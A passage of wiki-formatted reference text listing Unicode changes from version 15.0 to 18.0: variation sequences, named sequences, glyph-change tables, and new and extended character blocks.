|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
